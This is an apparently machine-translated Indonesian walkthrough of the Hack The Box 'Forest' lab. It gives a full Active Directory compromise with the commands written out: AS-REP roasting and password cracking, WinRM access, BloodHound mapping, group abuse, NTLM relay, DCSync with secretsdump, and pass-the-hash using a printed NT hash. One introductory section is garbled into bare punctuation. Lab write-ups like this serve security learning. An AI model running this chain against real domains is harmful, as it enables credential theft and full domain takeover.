Hack The Box - Walkthrough Forest. Serangan Roasting AS-REP, DCSync dan Pass-The-Hash

gambar

Saya terus menerbitkan solusi yang dikirim untuk diproses lebih lanjut dari situs HackTheBox . Saya berharap ini akan membantu setidaknya seseorang untuk berkembang di bidang keamanan informasi. Pada artikel ini, kita akan berurusan dengan AS-REP Roasting dalam skema otentikasi Kerberos, gunakan BloodHound untuk pengintaian domain, melakukan serangan DCSync PrivExchange dan serangan Pass-The-Hash.

Koneksi ke laboratorium adalah melalui VPN. Disarankan untuk tidak terhubung dari komputer kerja atau dari host di mana data penting bagi Anda tersedia, karena Anda berakhir di jaringan pribadi dengan orang-orang yang tahu sesuatu di bidang keamanan informasi :)

Informasi Organisasi
, - , :

  • PWN;
  • (Crypto);
  • c (Network);
  • (Reverse Engineering);
  • (Stegano);
  • WEB-.

, , , .

, , Telegram . , , .

. , - , .

Recon


Mesin ini memiliki alamat IP 10.10.10.161, yang saya tambahkan ke / etc / hosts.
10.10.10.161 forest.htb
Pertama, kami memindai port terbuka. Karena butuh waktu lama untuk memindai semua port dengan nmap, saya akan melakukan ini dengan masscan. Kami memindai semua port TCP dan UDP dari antarmuka tun0 dengan kecepatan 1000 paket per detik.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.161 --rate=1000

gambar

Ada banyak port terbuka pada host, dan saya memutuskan untuk memastikan hasil yang diberikan oleh masscan benar. Untuk melakukan ini, cukup pindai status port di nmap.

nmap 10.10.10.161 -p135,636,3269,49676,49665,53,593,49671,9389,49667,5985,49666,389,88,49684,464,3268,49677,47001,139,445,49714

gambar

Tapi nmap mengkonfirmasi semuanya. Selanjutnya, Anda perlu mengumpulkan lebih banyak informasi tentang port yang diketahui nmap.

nmap -A 10.10.10.161 -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001

gambar

Selanjutnya, Anda perlu mendapatkan informasi sebanyak mungkin dari sistem. Untuk ini, saya menggunakan enum4linux. Tetapi dia memberi kami sedikit informasi. Grup, persyaratan kata sandi, kurangnya SMBv1 dan sumber daya bersama, dll. Namun, kami mendapat daftar pengguna.

enum4linux -a 10.10.10.161

gambar

Karena Kerberos berjalan pada host, Anda perlu memeriksa apakah ada akun pengguna yang memiliki flag DONT_REQ_PREAUTH yang diatur dalam UAC. Anda dapat mempelajari lebih lanjut tentang bendera UAC dan apa artinya di sini . Bendera DONT_REQ_PREAUTH berarti bahwa otentikasi Kerberos tidak diperlukan untuk akun ini.

Pertama, cari tahu akun pengguna mana yang aktif. Ini akan membantu membuat skrip samrdump disertakan dengan impacket.

impacket-samrdump forest.htb

gambar

gambar

Script menampilkan pertama semua pengguna, dan kemudian informasi rinci tentang masing-masing dari mereka. Dengan cara ini Anda dapat melihat bahwa akun Administrator aktif, dan Tamu tidak. Sekarang kita dapat membuat daftar pengguna aktif.

gambar

Ketika kami memiliki daftar pengguna aktif, kami dapat memeriksa ketersediaan bendera yang kami butuhkan. Kita dapat melakukan ini menggunakan skrip GetNPUsers, yang juga merupakan bagian dari paket impacket. Kami menentukan domain htb.local, pengontrol domain 10.10.10.161, metode otentikasi Kerberos (-k), opsi tanpa kata sandi dan daftar pengguna.

GetNPUsers.py htb.local/ -dc-ip 10.10.10.161 -k -no-pass -usersfile ADUsers.txt 

gambar

Kami diberitahu bahwa bendera ini tidak disetel untuk semua pengguna kecuali svc-alfresco. Dalam versi impacket saya (21-dev), hash diminta secara otomatis.

Entry Point - AS-REP Roasting


Beberapa kata tentang hash dikembalikan kepada kami. Di bawah ini adalah skema otentikasi Kerberos.

gambar

Seperti yang Anda lihat, pada tahap pertama: klien mengirim pesan dengan ID pengguna ke server otentikasi AS dengan permintaan layanan atas nama pengguna. AS menghasilkan kunci rahasia dengan hashing kata sandi pengguna yang ditemukan dalam database.

Dengan cara ini kita dapat menggulir hash dan mencari tahu kata sandinya. Jenis serangan ini disebut AS-REP Roasting. Simpan hash ke file dan temukan prototipe.

john --wordlist=./rockyou.txt hashes2.txt

gambar

Dan kami menemukan kata sandi pengguna.

PENGGUNA


Jika Anda kembali ke membuka port, Anda dapat menemukan layanan WinRM yang berfungsi (atau Windows Remote Management) yang dirancang untuk manajemen jarak jauh. Kami memiliki nama pengguna dan kata sandi, sehingga kami dapat terhubung dengan aman ke sana. Untuk ini saya menggunakan winrm jahat .

gambar

Jadi kami mengambil pengguna.

AKAR


Kecerdasan dengan BloodHound


Sekarang kita perlu meningkatkan hak istimewa kita. Untuk memetakan jalur LPE di domain, Anda bisa menggunakan program BloodHound .

Evil-winrm memungkinkan Anda untuk mengunggah file ke dan dari host. Saya mengunggah ke host SharpHound - modul untuk mengumpulkan informasi.

gambar

Juga win-win jahat memungkinkan Anda untuk mengeksekusi skrip PowerShell. Kami akan menunjukkan pengguna, kata sandi, dan juga bahwa kami ingin mengetahui segala sesuatu yang mungkin.

gambar

Setelah skrip dieksekusi, arsip zip akan muncul di direktori saat ini. Kami mengunduhnya dari host.

gambar

Selanjutnya, jalankan grafik DBMS neo4j yang bekerja dengan BloodHound.

neo4j console

gambar

Sekarang jalankan BloodHound. Layar kosong akan menemui kami.

gambar

Sekarang cukup seret dan lepas arsip yang diunduh ke dalamnya. Dan pergi ke tab Queries.

gambar

Dan kami mengatakan bahwa kami ingin menemukan jalur terpendek ke admin domain. BloodHound akan membuat grafik - jalan menuju kemajuan yang konsisten. Dengan mengklik pada setiap node jaringan, kami akan menerima informasi tentang itu.

gambar

Dengan demikian, kita diberitahu bahwa kita harus menjadi anggota grup Exchange Windows Izin, karena kita diperlakukan dengan Akun Layanan grup istimewa, dan hanya dengan demikian kita dapat meningkatkan hak istimewa.

net user svc-alfresco

gambar

Pengguna saat ini tidak ada dalam grup ini. Mari kita tambahkan, dan kemudian periksa grup pengguna.

Add-ADGroupMember "Exchange Windows Permissions" svc-alfresco

gambar

Pengguna berhasil ditambahkan ke grup. Sekarang mari kita lihat apa yang ini memberi kita. Grup Exchange Windows Izin memiliki hak WriteDACL (hak untuk memberikan hak) ke objek Domain di Active Directory, yang memungkinkan setiap anggota grup untuk mengubah hak domain, termasuk operasi DCSync.

DCSync


Sedikit tentang serangan DCSync. Replikasi Direktori Aktif adalah proses di mana perubahan yang dilakukan pada salah satu pengontrol domain disinkronkan dengan pengontrol lainnya dalam domain. Setelah memperoleh izin yang diperlukan, kami dapat memulai permintaan replikasi, yang akan memungkinkan kami untuk mendapatkan data yang disimpan di Active Directory, termasuk hash kata sandi.

Artinya, kita dapat menyinkronkan hash dari kata sandi pengguna Active Directory dan masuk ke layanan apa pun menggunakan protokol NTLM (Microsoft mengembangkan protokol otentikasi jaringan) atau Kerberos. Serangan itu melibatkan penggunaan dua alat, privexchange.py dan ntlmrelayx.py dari paket impacket.

Pertama, jalankan ntlmrelayx dalam mode relai LDAP ke pengontrol domain dengan akun svc-alfresco.

ntlmrelayx.py -t ldap://htb.local --escalate-user svc-alfresco

gambar

Semua layanan sedang berjalan dan sedang menunggu koneksi. Sekarang gunakan privex.

python privexchange.py 10.10.10.161 -ah _ip -d htb.local -u svc-alfresco -p s3rvice

gambar

Dan kemudian saya menerbangkan banyak kesalahan, mencari-cari beberapa menit, diputuskan untuk tidak memperbaikinya. Anda dapat mengikuti tautan di atas di peramban dan meneruskan otentikasi dengan kredensial svc-alfresco. Di jendela dengan ntlmrelayx kita akan melihat informasi koneksi.

gambar

Sekarang jalankan serangan DCSync menggunakan secretsdump.

secretsdump.py htb.local/svc-alfresco:s3rvice@10.10.10.161 -just-dc

gambar

Baik. Kami dapat mereplikasi semua akun.

Pass-the-hash attack


Serangan ini memungkinkan penyerang untuk masuk ke server jauh yang diautentikasi menggunakan protokol NTLM atau LM.

Pada sistem yang menggunakan protokol otentikasi NTLM, kata sandi tidak pernah dikirimkan dalam teks yang jelas melalui saluran komunikasi. Sebagai gantinya, mereka ditransfer ke sistem yang sesuai (seperti pengontrol domain) dalam bentuk hash pada tahap respons dalam skema otentikasi pertanyaan-jawaban.

Aplikasi Windows meminta pengguna untuk kata sandi dalam teks yang jelas, dan kemudian memanggil API (misalnya, LsaLogonUser), yang menerjemahkan kata sandi menjadi hash LM dan hash NTLM dan meneruskannya selama proses otentikasi. Analisis protokol menunjukkan bahwa untuk otentikasi yang berhasil tidak perlu mengetahui kata sandi dalam bentuk yang jelas, sebagai gantinya, hanya hash yang dapat digunakan.

Serangan itu didasarkan pada kelemahan dalam mengimplementasikan protokol otentikasi jaringan. Terdiri dari fakta bahwa hash kata sandi ditransmisikan tanpa menggunakan garam, dan oleh karena itu tetap tidak berubah dari sesi ke sesi (hingga kata sandi pengguna diubah). Dengan kata lain, untuk penyerang, hash kata sandi setara dengan kata sandi itu sendiri.

Lakukan serangan menggunakan psexec.

psexec.py -hashes :32693b11e6aa90eb43d32c72a07ceea6 Administrator@10.10.10.161

gambar

Kami berada dalam sistem dengan hak penuh.

Anda dapat bergabung dengan kami di Telegram . Mari kita mengumpulkan komunitas di mana akan ada orang-orang yang berpengalaman dalam banyak bidang TI, maka kita selalu dapat saling membantu dalam masalah TI dan keamanan informasi.

All Articles